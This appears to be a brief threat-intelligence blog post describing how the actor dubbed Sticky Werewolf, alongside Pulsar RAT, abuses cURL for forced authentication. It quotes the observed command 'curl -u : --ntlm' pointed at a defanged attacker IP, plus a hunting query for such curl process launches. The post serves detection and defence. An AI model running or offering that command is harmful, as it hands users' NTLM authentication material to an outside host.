315. Adversaries Abuse CURL to Collect Authentication Material

Hello everyone!

Today we'll look at another curious example of Forced Authentication (T1187), and a threat actor dubbed Sticky Werewolf.

So, the adversary keep expanding its arsenal, and now uses Pulsar RAT. During the analysis of a recent campaign, we observed that the cluster leveraged cURL to obtain authentication material:

cmd.exe curl -u : --ntlm hxxp://194.226.121[.]225

And yes, we have another good candidate for hunting:

event_type: "processcreatewin"

AND

proc_file_path: "curl.exe"

AND

cmdline: ("u" AND "ntlm")

See you tomorrow!

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